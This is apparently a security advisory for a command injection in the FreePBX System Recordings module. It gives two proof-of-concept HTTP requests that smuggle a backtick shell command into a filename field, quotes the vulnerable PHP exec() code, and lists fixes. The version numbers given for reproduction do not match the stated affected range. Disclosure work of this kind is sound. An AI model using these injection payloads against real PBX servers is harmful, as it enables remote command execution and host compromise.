CVE-2026-28287 — FreePBX Recordings Module Command Injection

Overview

CVE-2026-28287 covers command-injection paths in the FreePBX System Recordings module. Authenticated users with access to this module can supply crafted filename values that later reach shell-executed media-processing operations.

The research confirmed two reachable AJAX commands, gethtml5 and convert, that can be used to execute arbitrary operating-system commands.

Attack prerequisites

Exploitation requires a valid FreePBX session with access to the System Recordings module. The issue was reproduced on FreePBX 17.0.24 and 17.0.25.

Exploitation path

The endpoint /admin/ajax.php dispatches commands for the System Recordings module. User-controlled values including file and filenames[] are propagated into media-processing code without sufficient shell-safe handling.

Two vulnerable command paths were confirmed:

module=recordings&command=gethtml5
module=recordings&command=convert

Proof of concept

`gethtml5`

POST /admin/ajax.php HTTP/1.1
Host: target
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid-session>

file=dummy.wav;`touch /var/www/html/pawned`&language=en&temporary[en]=0&filenames[en]=dummy.wav&command=gethtml5&module=recordings

The request creates /var/www/html/pawned on the server.

`convert`

POST /admin/ajax.php HTTP/1.1
Host: target
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid-session>

file=dummy.wav;`touch /var/www/html/pawned`&name=dummy&codec=wav&lang=en&temporary=1&command=convert&module=recordings

This request also creates /var/www/html/pawned, confirming that the filename value reaches a shell-execution path.

Root cause

The research traced one vulnerable sink to admin/modules/recordings/Recordings.class.php, in fixeRIFF($filename). The function executes commands containing unsanitized filename values:

        public function fixeRIFF($filename){
                exec("file -b $filename | grep 'RIFF' ", $out, $ret);
                if($ret === 0 ){
                        dbug(_("An error is occured on RIFF detection."));
                }
                if(empty($out[0])){
                        if (isset($_POST["name"]) && str_starts_with($_POST["name"], "custom/")) {
                                $f = str_replace("custom/", "", $_POST["name"]);
                        } else {
                                $f = str_replace("custom/", "", $_POST["file"]);
                        }
                        $cmd    = "mv ".$this->temp."/$f.wav $filename";
                        exec($cmd, $out, $ret);
                }
        }

Both $filename and the value derived from $_POST['file'] can influence shell command strings. Without shell-safe argument handling, metacharacters can change the executed command.

Impact

A user with module-level access can escalate to arbitrary operating-system command execution in the context of the FreePBX web application. This may allow modification of web-accessible files, access to application secrets, and further compromise of the PBX host.

Remediation

FreePBX 16 System Recordings versions >= 16.0.17.2 and < 16.0.20 are affected. Upgrade to 16.0.20 or later.
FreePBX 17 System Recordings versions >= 17.0.2.4 and < 17.0.5 are affected. Upgrade to 17.0.5 or later.

References

Credits

Discovery: h00die-gr3y.